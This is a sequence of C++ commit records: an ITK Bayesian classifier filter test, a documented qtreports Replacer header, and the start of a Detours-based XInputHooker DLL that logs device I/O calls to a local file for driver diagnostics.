above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkBayesianClassifierImageFilter.h\"\n#include \"itkBayesianClassifierInitializationImageFilter.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n\n#include \"..\/IO\/itkPipelineMonitorImageFilter.h\"\n\nint itkBayesianClassifierImageFilterTest(int argc, char* argv[] )\n{\n\n if( argc < 5 ) \n { \n std::cerr << \"Usage: \" << std::endl;\n std::cerr << argv[0] << \" inputImageFile outputImageFile numberOfClasses smoothingIterations\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n \/\/ setup reader\n const unsigned int Dimension = 2;\n typedef unsigned char InputPixelType;\n typedef itk::Image< InputPixelType, Dimension > InputImageType;\n typedef itk::ImageFileReader< InputImageType > ReaderType;\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName( argv[1] );\n\n typedef unsigned char LabelType;\n typedef float PriorType;\n typedef float PosteriorType;\n\n typedef itk::BayesianClassifierInitializationImageFilter< InputImageType > \n BayesianInitializerType;\n\n BayesianInitializerType::Pointer bayesianInitializer = BayesianInitializerType::New();\n\n bayesianInitializer->SetInput( reader->GetOutput() );\n bayesianInitializer->SetNumberOfClasses( atoi( argv[3] ) );\n\n typedef BayesianInitializerType::OutputImageType InitialLabelImageType;\n\n typedef itk::BayesianClassifierImageFilter< \n InitialLabelImageType, LabelType, PosteriorType, PriorType > ClassifierFilterType;\n\n ClassifierFilterType::Pointer filter = ClassifierFilterType::New();\n\n filter->SetInput( bayesianInitializer->GetOutput() );\n\n \/\/\n \/\/ Exercise Set\/GetNumberOfSmoothingIterations()\n \/\/ \n filter->SetNumberOfSmoothingIterations( 1 );\n if( filter->GetNumberOfSmoothingIterations() != 1 )\n {\n std::cerr << \"Error in Set\/GetNumberOfSmoothingIterations()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetNumberOfSmoothingIterations( 19 );\n if( filter->GetNumberOfSmoothingIterations() != 19 )\n {\n std::cerr << \"Error in Set\/GetNumberOfSmoothingIterations()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetNumberOfSmoothingIterations( 0 );\n\n filter->SetNumberOfSmoothingIterations( atoi( argv[4] ));\n typedef ClassifierFilterType::ExtractedComponentImageType ExtractedComponentImageType;\n typedef itk::GradientAnisotropicDiffusionImageFilter<\n ExtractedComponentImageType, ExtractedComponentImageType > SmoothingFilterType;\n SmoothingFilterType::Pointer smoother = SmoothingFilterType::New();\n smoother->SetNumberOfIterations( 1 );\n smoother->SetTimeStep( 0.125 );\n smoother->SetConductanceParameter( 3 ); \n filter->SetSmoothingFilter( smoother );\n\n \/\/\n \/\/ Exercise Set\/GetSmoothingFilter()\n \/\/ \n if( filter->GetSmoothingFilter().GetPointer() != smoother.GetPointer() )\n {\n std::cerr << \"Error in Set\/GetSmoothingFilter()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetSmoothingFilter( NULL );\n if( filter->GetSmoothingFilter().GetPointer() != NULL )\n {\n std::cerr << \"Error in Set\/GetSmoothingFilter()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetSmoothingFilter( smoother );\n\n \n typedef itk::PipelineMonitorImageFilter<InputImageType> MonitorFilterType;\n MonitorFilterType::Pointer monitor = MonitorFilterType::New();\n monitor->SetInput(filter->GetOutput());\n \n \n typedef ClassifierFilterType::OutputImageType ClassifierOutputImageType;\n typedef itk::Image< unsigned char, Dimension > OutputImageType;\n typedef itk::RescaleIntensityImageFilter< \n ClassifierOutputImageType, OutputImageType > RescalerType;\n RescalerType::Pointer rescaler = RescalerType::New();\n rescaler->SetInput( monitor->GetOutput() );\n rescaler->SetOutputMinimum( 0 );\n rescaler->SetOutputMaximum( 255 );\n\n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n WriterType::Pointer writer = WriterType::New();\n writer->SetFileName( argv[2] );\n\n writer->SetInput( rescaler->GetOutput() );\n\n try\n {\n filter->Update();\n writer->Update();\n }\n catch( itk::ExceptionObject & excp )\n {\n std::cerr << \"Exception caught: \" << std::endl;\n std::cerr << excp << std::endl;\n return EXIT_FAILURE;\n }\n\n\n if (!monitor->VerifyAllIputCanNotStream()) \n {\n std::cout << \"pipeline did not execute as expected!\" << std::endl;\n return EXIT_FAILURE;\n }\n \n filter->Print( std::cout );\n std::cout << \"Test passed.\" << std::endl;\n\n return EXIT_SUCCESS;\n}\n<commit_msg>ENH: Adding a code for exercising the SetPriors() method.<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkBayesianClassifierImageFilterTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\n#include \"itkImage.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkBayesianClassifierImageFilter.h\"\n#include \"itkBayesianClassifierInitializationImageFilter.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n\n#include \"..\/IO\/itkPipelineMonitorImageFilter.h\"\n\nint itkBayesianClassifierImageFilterTest(int argc, char* argv[] )\n{\n\n if( argc < 5 ) \n { \n std::cerr << \"Usage: \" << std::endl;\n std::cerr << argv[0] << \" inputImageFile outputImageFile numberOfClasses smoothingIterations\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n \/\/ setup reader\n const unsigned int Dimension = 2;\n typedef unsigned char InputPixelType;\n typedef itk::Image< InputPixelType, Dimension > InputImageType;\n typedef itk::ImageFileReader< InputImageType > ReaderType;\n\n ReaderType::Pointer reader = ReaderType::New();\n reader->SetFileName( argv[1] );\n\n typedef unsigned char LabelType;\n typedef float PriorType;\n typedef float PosteriorType;\n\n typedef itk::BayesianClassifierInitializationImageFilter< InputImageType > \n BayesianInitializerType;\n\n BayesianInitializerType::Pointer bayesianInitializer = BayesianInitializerType::New();\n\n bayesianInitializer->SetInput( reader->GetOutput() );\n bayesianInitializer->SetNumberOfClasses( atoi( argv[3] ) );\n\n typedef BayesianInitializerType::OutputImageType InitialLabelImageType;\n\n typedef itk::BayesianClassifierImageFilter< \n InitialLabelImageType, LabelType, PosteriorType, PriorType > ClassifierFilterType;\n\n ClassifierFilterType::Pointer filter = ClassifierFilterType::New();\n\n filter->SetInput( bayesianInitializer->GetOutput() );\n\n \/\/\n \/\/ Exercise Set\/GetNumberOfSmoothingIterations()\n \/\/ \n filter->SetNumberOfSmoothingIterations( 1 );\n if( filter->GetNumberOfSmoothingIterations() != 1 )\n {\n std::cerr << \"Error in Set\/GetNumberOfSmoothingIterations()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetNumberOfSmoothingIterations( 19 );\n if( filter->GetNumberOfSmoothingIterations() != 19 )\n {\n std::cerr << \"Error in Set\/GetNumberOfSmoothingIterations()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetNumberOfSmoothingIterations( 0 );\n\n filter->SetNumberOfSmoothingIterations( atoi( argv[4] ));\n typedef ClassifierFilterType::ExtractedComponentImageType ExtractedComponentImageType;\n typedef itk::GradientAnisotropicDiffusionImageFilter<\n ExtractedComponentImageType, ExtractedComponentImageType > SmoothingFilterType;\n SmoothingFilterType::Pointer smoother = SmoothingFilterType::New();\n smoother->SetNumberOfIterations( 1 );\n smoother->SetTimeStep( 0.125 );\n smoother->SetConductanceParameter( 3 ); \n filter->SetSmoothingFilter( smoother );\n\n \/\/\n \/\/ Exercise Set\/GetSmoothingFilter()\n \/\/ \n if( filter->GetSmoothingFilter().GetPointer() != smoother.GetPointer() )\n {\n std::cerr << \"Error in Set\/GetSmoothingFilter()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetSmoothingFilter( NULL );\n if( filter->GetSmoothingFilter().GetPointer() != NULL )\n {\n std::cerr << \"Error in Set\/GetSmoothingFilter()\" << std::endl;\n return EXIT_FAILURE;\n } \n\n filter->SetSmoothingFilter( smoother );\n\n \n typedef itk::PipelineMonitorImageFilter<InputImageType> MonitorFilterType;\n MonitorFilterType::Pointer monitor = MonitorFilterType::New();\n monitor->SetInput(filter->GetOutput());\n \n \n typedef ClassifierFilterType::OutputImageType ClassifierOutputImageType;\n typedef itk::Image< unsigned char, Dimension > OutputImageType;\n typedef itk::RescaleIntensityImageFilter< \n ClassifierOutputImageType, OutputImageType > RescalerType;\n RescalerType::Pointer rescaler = RescalerType::New();\n rescaler->SetInput( monitor->GetOutput() );\n rescaler->SetOutputMinimum( 0 );\n rescaler->SetOutputMaximum( 255 );\n\n typedef itk::ImageFileWriter< OutputImageType > WriterType;\n\n WriterType::Pointer writer = WriterType::New();\n writer->SetFileName( argv[2] );\n\n writer->SetInput( rescaler->GetOutput() );\n\n try\n {\n filter->Update();\n writer->Update();\n }\n catch( itk::ExceptionObject & excp )\n {\n std::cerr << \"Exception caught: \" << std::endl;\n std::cerr << excp << std::endl;\n return EXIT_FAILURE;\n }\n\n\n if (!monitor->VerifyAllIputCanNotStream()) \n {\n std::cout << \"pipeline did not execute as expected!\" << std::endl;\n return EXIT_FAILURE;\n }\n \n filter->Print( std::cout );\n std::cout << \"Test passed.\" << std::endl;\n\n typedef ClassifierFilterType::PriorsImageType PriorsImageType;\n\n const InputImageType * inputImage = reader->GetOutput();\n\n PriorsImageType::Pointer priorsImage = PriorsImageType::New();\n priorsImage->CopyInformation( inputImage );\n priorsImage->SetRegions( inputImage->GetLargestPossibleRegion() );\n priorsImage->SetNumberOfComponentsPerPixel(5);\n priorsImage->Allocate();\n\n filter->SetPriors( priorsImage );\n\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n#ifndef REPLACER_HPP\n#define REPLACER_HPP\n#include <QString>\n#include \"tags\/textwidget.hpp\"\n#include \"tags\/report.hpp\"\n\nnamespace qtreports\n{\n namespace detail\n {\n\n \/*! @~russian\n @brief Класс, заменяющий параметры на реальные значения.\n\n Класс, заменяющий параметры на реальные значения в тэгах,\n производных от TextWidget\n *\/\n class Replacer {\n\n public:\n Replacer();\n ~Replacer();\n\n \/*! @~russian\n Возвращает текст с подставленными значениями параметров.\n @param[in] text Исходный текст\n @param[in] report Указатель на отчет\n *\/\n QString replaceParameters( const QString & text, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст виджета текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] widget Указатель на виджет\n @param[in] report Указатель на отчет\n *\/\n bool replaceParametersInTextWidget( const TextWidgetPtr & widget, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n *\/\n bool replaceParametersInSection( const SectionPtr & section, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст всех виджетов с текстом в отчете\n текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] report Указатель на отчет\n *\/\n bool replaceParameters( const ReportPtr & report );\n\n \/*! @~russian\n Возвращает текст с подставленными значениями полей из источника данных.\n @param[in] report Указатель на отчет\n @param[in] text Исходный текст\n @param[in] i Текущая строка\n *\/\n QString replaceField( const QString & text, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст виджета текстом с подставленными значениями полей из источника данных.\n Перегружанная функция, предоставленная для удобства.\n @param[in] widget Указатель на виджет\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replaceFieldInTextWidget( const TextWidgetPtr & widget, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции\n текстом с подставленными значениями полей из источника данных.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replaceFieldInSection( const SectionPtr & section, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции\n текстом с подставленными значениями.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replace( const SectionPtr & section, const ReportPtr & report, int i );\n\n const QString getLastError() const;\n\n private:\n QString m_lastError;\n\n };\n\n }\n}\n\n#endif \/\/ REPLACER_HPP\n<commit_msg>Full doc<commit_after>#pragma once\n#ifndef REPLACER_HPP\n#define REPLACER_HPP\n#include <QString>\n#include \"tags\/textwidget.hpp\"\n#include \"tags\/report.hpp\"\n\nnamespace qtreports\n{\n namespace detail\n {\n\n \/*! @~russian\n @brief Класс, заменяющий параметры на реальные значения.\n\n Класс, заменяющий параметры на реальные значения в тэгах,\n производных от TextWidget\n *\/\n class Replacer {\n\n public:\n Replacer();\n ~Replacer();\n\n \/*! @~russian\n Возвращает текст с подставленными значениями параметров.\n @param[in] text Исходный текст\n @param[in] report Указатель на отчет\n *\/\n QString replaceParameters( const QString & text, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст виджета текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] widget Указатель на виджет\n @param[in] report Указатель на отчет\n *\/\n bool replaceParametersInTextWidget( const TextWidgetPtr & widget, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n *\/\n bool replaceParametersInSection( const SectionPtr & section, const ReportPtr & report );\n\n \/*! @~russian\n Заменяет текст всех виджетов с текстом в отчете\n текстом с подставленными значениями параметров.\n Перегружанная функция, предоставленная для удобства.\n @param[in] report Указатель на отчет\n *\/\n bool replaceParameters( const ReportPtr & report );\n\n \/*! @~russian\n Возвращает текст с подставленными значениями полей из источника данных.\n @param[in] report Указатель на отчет\n @param[in] text Исходный текст\n @param[in] i Текущая строка\n *\/\n QString replaceField( const QString & text, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст виджета текстом с подставленными значениями полей из источника данных.\n Перегружанная функция, предоставленная для удобства.\n @param[in] widget Указатель на виджет\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replaceFieldInTextWidget( const TextWidgetPtr & widget, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции\n текстом с подставленными значениями полей из источника данных.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replaceFieldInSection( const SectionPtr & section, const ReportPtr & report, int i );\n\n \/*! @~russian\n Заменяет текст всех виджетов секции\n текстом с подставленными значениями.\n Перегружанная функция, предоставленная для удобства.\n @param[in] section Указатель на секцию\n @param[in] report Указатель на отчет\n @param[in] i Текущая строка\n *\/\n bool replace( const SectionPtr & section, const ReportPtr & report, int i );\n\n \/*! @~russian\n Возвращает описание последней произошедшей ошибки.\n *\/\n const QString getLastError() const;\n\n private:\n QString m_lastError;\n\n };\n\n }\n}\n\n#endif \/\/ REPLACER_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ WinAPI\n\/\/ \n#define WIN32_LEAN_AND_MEAN\n#define NOMINMAX\n#include <Windows.h>\n#include <SetupAPI.h>\n#include <Shlwapi.h>\n#include <initguid.h>\n#include <winioctl.h>\n#include \"XUSB.h\"\n\n\/\/\n\/\/ STL\n\/\/ \n#include <string>\n#include <codecvt>\n#include <locale>\n#include <map>\n#include <iostream>\n#include <fstream>\n\n\/\/\n\/\/ JSON\n\/\/ \n#include <json\/json.h>\n\n\/\/\n\/\/ Hooking\n\/\/ \n#include <detours\/detours.h>\n\n\/\/\n\/\/ Logging\n\/\/ \n#include <spdlog\/spdlog.h>\n#include <spdlog\/sinks\/basic_file_sink.h>\n#include <spdlog\/fmt\/bin_to_hex.h>\n\nusing convert_t = std::codecvt_utf8<wchar_t>;\nstd::wstring_convert<convert_t, wchar_t> strconverter;\nstd::once_flag g_init;\nstd::string g_dllDir;\n\n\nstatic decltype(SetupDiEnumDeviceInterfaces) *real_SetupDiEnumDeviceInterfaces = SetupDiEnumDeviceInterfaces;\nstatic decltype(DeviceIoControl) *real_DeviceIoControl = DeviceIoControl;\nstatic decltype(CreateFileA) *real_CreateFileA = CreateFileA;\nstatic decltype(CreateFileW) *real_CreateFileW = CreateFileW;\nstatic decltype(WriteFile)* real_WriteFile = WriteFile;\nstatic decltype(CloseHandle)* real_CloseHandle = CloseHandle;\nstatic decltype(GetOverlappedResult)* real_GetOverlappedResult = GetOverlappedResult;\n\nstatic std::map<HANDLE, std::string> g_handleToPath;\nstatic std::map<DWORD, std::string> g_ioctlMap;\n\n\n\/\/\n\/\/ Hooks SetupDiEnumDeviceInterfaces() API\n\/\/ \nBOOL WINAPI DetourSetupDiEnumDeviceInterfaces(\n\tHDEVINFO DeviceInfoSet,\n\tPSP_DEVINFO_DATA DeviceInfoData,\n\tconst GUID* InterfaceClassGuid,\n\tDWORD MemberIndex,\n\tPSP_DEVICE_INTERFACE_DATA DeviceInterfaceData\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"SetupDiEnumDeviceInterfaces\");\n\n\tauto retval = real_SetupDiEnumDeviceInterfaces(DeviceInfoSet, DeviceInfoData, InterfaceClassGuid, MemberIndex,\n\t DeviceInterfaceData);\n\n\t_logger->info(\"InterfaceClassGuid = {{{:08X}-{:04X}-{:04X}-{:02X}{:02X}-{:02X}{:02X}{:02X}{:02X}{:02X}{:02X}}}, \"\n\t \"success = {}, error = 0x{:08X}\",\n\t InterfaceClassGuid->Data1, InterfaceClassGuid->Data2, InterfaceClassGuid->Data3,\n\t InterfaceClassGuid->Data4[0], InterfaceClassGuid->Data4[1], InterfaceClassGuid->Data4[2],\n\t InterfaceClassGuid->Data4[3],\n\t InterfaceClassGuid->Data4[4], InterfaceClassGuid->Data4[5], InterfaceClassGuid->Data4[6],\n\t InterfaceClassGuid->Data4[7],\n\t retval ? \"true\" : \"false\",\n\t\t\t\t retval ? ERROR_SUCCESS : GetLastError());\n\n\treturn retval;\n}\n\n\/\/\n\/\/ Hooks CreateFileA() API\n\/\/ \nHANDLE WINAPI DetourCreateFileA(\n\tLPCSTR lpFileName,\n\tDWORD dwDesiredAccess,\n\tDWORD dwShareMode,\n\tLPSECURITY_ATTRIBUTES lpSecurityAttributes,\n\tDWORD dwCreationDisposition,\n\tDWORD dwFlagsAndAttributes,\n\tHANDLE hTemplateFile\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CreateFileA\");\n\tstd::string path(lpFileName);\n\n\tconst bool isOfInterest = (path.rfind(\"\\\\\\\\\", 0) == 0);\n\n\tconst auto handle = real_CreateFileA(\n\t\tlpFileName,\n\t\tdwDesiredAccess,\n\t\tdwShareMode,\n\t\tlpSecurityAttributes,\n\t\tdwCreationDisposition,\n\t\tdwFlagsAndAttributes,\n\t\thTemplateFile\n\t);\n\n\tif (isOfInterest && handle != INVALID_HANDLE_VALUE)\n\t{\n\t\tg_handleToPath[handle] = path;\n\t\t_logger->info(\"handle = {}, lpFileName = {}\", handle, path);\n\t}\n\n\treturn handle;\n}\n\n\/\/\n\/\/ Hooks CreateFileW() API\n\/\/ \nHANDLE WINAPI DetourCreateFileW(\n\tLPCWSTR lpFileName,\n\tDWORD dwDesiredAccess,\n\tDWORD dwShareMode,\n\tLPSECURITY_ATTRIBUTES lpSecurityAttributes,\n\tDWORD dwCreationDisposition,\n\tDWORD dwFlagsAndAttributes,\n\tHANDLE hTemplateFile\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CreateFileW\");\n\tstd::string path(strconverter.to_bytes(lpFileName));\n\n\tconst bool isOfInterest = (path.rfind(\"\\\\\\\\\", 0) == 0);\n\n\tconst auto handle = real_CreateFileW(\n\t\tlpFileName,\n\t\tdwDesiredAccess,\n\t\tdwShareMode,\n\t\tlpSecurityAttributes,\n\t\tdwCreationDisposition,\n\t\tdwFlagsAndAttributes,\n\t\thTemplateFile\n\t);\n\n\tif (isOfInterest && handle != INVALID_HANDLE_VALUE)\n\t{\n\t\tg_handleToPath[handle] = path;\n\t\t_logger->info(\"handle = {}, lpFileName = {}\", handle, path);\n\t}\n\n\treturn handle;\n}\n\n\/\/\n\/\/ Hooks WriteFile() API\n\/\/ \nBOOL WINAPI DetourWriteFile(\n\tHANDLE hFile,\n\tLPCVOID lpBuffer,\n\tDWORD nNumberOfBytesToWrite,\n\tLPDWORD lpNumberOfBytesWritten,\n\tLPOVERLAPPED lpOverlapped\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"WriteFile\");\n\n\tconst PUCHAR charInBuf = PUCHAR(lpBuffer);\n\tDWORD tmpBytesWritten;\n\t\n\tconst auto ret = real_WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &tmpBytesWritten, lpOverlapped);\n\tconst auto error = GetLastError();\n\n\tif (lpNumberOfBytesWritten)\n\t\t*lpNumberOfBytesWritten = tmpBytesWritten;\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hFile))\n\t{\n\t\tpath = g_handleToPath[hFile];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\tconst auto bufSize = std::min(nNumberOfBytesToWrite, tmpBytesWritten);\n\tconst std::vector<char> inBuffer(charInBuf, charInBuf + bufSize);\n\t\n\t\/\/ Prevent the logger from causing a crash via exception when it double-detours WriteFile\n\ttry\n\t{\n\t\t_logger->info(\"success = {}, lastError = 0x{:08X}, path = {} ({:04d}) -> {:Xpn}\",\n\t\t\tret ? \"true\" : \"false\",\n\t\t\tret ? ERROR_SUCCESS : error,\n\t\t\tpath,\n\t\t\tbufSize,\n\t\t\tspdlog::to_hex(inBuffer)\n\t\t);\n\t}\n\tcatch (...)\n\t{ }\n\n\treturn ret;\n}\n\nBOOL DetourCloseHandle(\n\tHANDLE hObject\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"CloseHandle\");\n\n\tconst auto ret = real_CloseHandle(hObject);\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hObject))\n\t{\n\t\tpath = g_handleToPath[hObject];\n\t\tg_handleToPath.erase(hObject);\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\t_logger->info(\"handle = {}, path = {}\", hObject, path);\n\n\treturn ret;\n}\n\nBOOL WINAPI DetourGetOverlappedResult(\n\tHANDLE hFile,\n\tLPOVERLAPPED lpOverlapped,\n\tLPDWORD lpNumberOfBytesTransferred,\n\tBOOL bWait\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"GetOverlappedResult\");\n\tDWORD tmpBytesTransferred;\n\n\tconst auto ret = real_GetOverlappedResult(hFile, lpOverlapped, &tmpBytesTransferred, bWait);\n\tconst auto error = GetLastError();\n\n\tif (lpNumberOfBytesTransferred)\n\t\t*lpNumberOfBytesTransferred = tmpBytesTransferred;\n\t\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hFile))\n\t{\n\t\tpath = g_handleToPath[hFile];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn ret;\n\t}\n#endif\n\n\t_logger->info(\"success = {}, lastError = 0x{:08X}, bytesTransferred = {}, path = {}\",\n\t\tret ? \"true\" : \"false\",\n\t\tret ? ERROR_SUCCESS : error,\n\t\ttmpBytesTransferred,\n\t\tpath\n\t);\n\t\n\treturn ret;\n}\n\n\/\/\n\/\/ Hooks DeviceIoControl() API\n\/\/ \nBOOL WINAPI DetourDeviceIoControl(\n\tHANDLE hDevice,\n\tDWORD dwIoControlCode,\n\tLPVOID lpInBuffer,\n\tDWORD nInBufferSize,\n\tLPVOID lpOutBuffer,\n\tDWORD nOutBufferSize,\n\tLPDWORD lpBytesReturned,\n\tLPOVERLAPPED lpOverlapped\n)\n{\n\tstd::shared_ptr<spdlog::logger> _logger = spdlog::get(\"XInputHooker\")->clone(\"DeviceIoControl\");\n\n\tconst PUCHAR charInBuf = static_cast<PUCHAR>(lpInBuffer);\n\tconst std::vector<char> inBuffer(charInBuf, charInBuf + nInBufferSize);\n\n\tDWORD tmpBytesReturned;\n\n\tconst auto retval = real_DeviceIoControl(\n\t\thDevice,\n\t\tdwIoControlCode,\n\t\tlpInBuffer,\n\t\tnInBufferSize,\n\t\tlpOutBuffer,\n\t\tnOutBufferSize,\n\t\t&tmpBytesReturned, \/\/ might be null, use our own variable\n\t\tlpOverlapped\n\t);\n\n\tif (lpBytesReturned)\n\t\t*lpBytesReturned = tmpBytesReturned;\n\n\tstd::string path = \"Unknown\";\n\tif (g_handleToPath.count(hDevice))\n\t{\n\t\tpath = g_handleToPath[hDevice];\n\t}\n#ifndef XINPUTHOOKER_LOG_UNKNOWN_HANDLES\n\telse\n\t{\n\t\t\/\/ Ignore unknown handles\n\t\treturn retval;\n\t}\n#endif\n\n\tif (g_ioctlMap.count(dwIoControlCode))\n\t{\n\t\t_logger->info(\"[I] [{}] path = {} ({:04d}) -> {:Xpn}\",\n\t\t g_ioctlMap[dwIoControlCode],\n\t\t path,\n\t\t nInBufferSize,\n\t\t spdlog::to_hex(inBuffer)\n\t\t);\n\t}\n\n\tif (lpOutBuffer && nOutBufferSize > 0)\n\t{\n\t\tconst PUCHAR charOutBuf = static_cast<PUCHAR>(lpOutBuffer);\n\t\tconst auto bufSize = std::min(nOutBufferSize, tmpBytesReturned);\n\t\tconst std::vector<char> outBuffer(charOutBuf, charOutBuf + bufSize);\n\n\t\tif (g_ioctlMap.count(dwIoControlCode))\n\t\t{\n\t\t\t_logger->info(\"[O] [{}] path = {} ({:04d}) -> {:Xpn}\",\n\t\t\t g_ioctlMap[dwIoControlCode],\n\t\t\t path,\n\t\t\t bufSize,\n\t\t\t spdlog::to_hex(outBuffer)\n\t\t\t);\n\t\t}\n\t}\n\n\treturn retval;\n}\n\nEXTERN_C IMAGE_DOS_HEADER __ImageBase;\n\nBOOL WINAPI DllMain(HINSTANCE dll_handle, DWORD reason, LPVOID reserved)\n{\n\tif (DetourIsHelperProcess())\n\t{\n\t\treturn TRUE;\n\t}\n\n\tswitch (reason)\n\t{\n\tcase DLL_PROCESS_ATTACH:\n\t\t{\n\t\t\tCHAR dllPath[MAX_PATH];\n\n\t\t\tGetModuleFileNameA((HINSTANCE)&__ImageBase, dllPath, MAX_PATH);\n\t\t\tPathRemoveFileSpecA(dllPath);\n\t\t\tg_dllDir = std::string(dllPath);\n\n\t\t\tauto logger = spdlog::basic_logger_mt(\n\t\t\t\t\"XInputHooker\",\n\t\t\t\tg_dllDir + \"\\\\XInputHooker.log\"\n\t\t\t);\n\n#if _DEBUG\n\t\t\tspdlog::set_level(spdlog::level::debug);\n\t\t\tlogger->flush_on(spdlog::level::debug);\n#else\n\t\t\tlogger->flush_on(spdlog::level::info);\n#endif\n\n\t\t\tset_default_logger(logger);\n\n\t\t\t\/\/\n\t\t\t\/\/ Load known IOCTL code definitions\n\t\t\t\/\/ \n\t\t\tJson::Value root;\n\t\t\tstd::ifstream ifs(g_dllDir + \"\\\\ioctls.json\");\n\t\t\tifs >> root;\n\n\t\t\tfor (auto& i : root)\n\t\t\t{\n\t\t\t\tg_ioctlMap[std::stoul(i[\"HexValue\"].asString(), nullptr, 16)] = i[\"Ioctl\"].asString();\n\t\t\t}\n\t\t}\n\n\t\tDisableThreadLibraryCalls(dll_handle);\n\t\tDetourRestoreAfterWith();\n\n\t\tDetourTransactionBegin();\n\t\tDetourUpdateThread(GetCurrentThread());\n\t\tDetourAttach((PVOID*)&real_SetupDiEnumDeviceInterfaces, DetourSetupDiEnumDeviceInterfaces);\n\t\tDetourAttach((PVOID*)&real_DeviceIoControl, DetourDeviceIoControl);\n\t\tDetourAttach((PVOID*)&real_CreateFileA, DetourCreateFileA);\n\t\tDetourAttach((PVOID*)&real_CreateFileW, DetourCreateFileW);\n\t\tDetourAttach((PVOID*)&real_WriteFile, DetourWriteFile);\n\t\tDetourAttach((PVOID*)&real_CloseHandle, DetourCloseHandle);\n\t\tDetourAttach((PVOID*)&real_GetOverlappedResult, DetourGetOverlappedResult);\n\t\tDetourTransactionCommit();\n\n\t\tbreak;\n\n\tcase DLL_PROCESS_DETACH:\n\t\tDetourTransactionBegin();\n\t\tDetourUpdateThread(GetCurrentThread());\n\t\tDetourDetach((PVOID*)&real_SetupDiEnumDeviceInterfaces, DetourSetupDiEnumDeviceInterfaces);\n\t\tDetourDetach((PVOID*)&real_DeviceIoControl, DetourDeviceIoControl);\n\t\tDetourDetach((PVOID*)&real_CreateFileA, 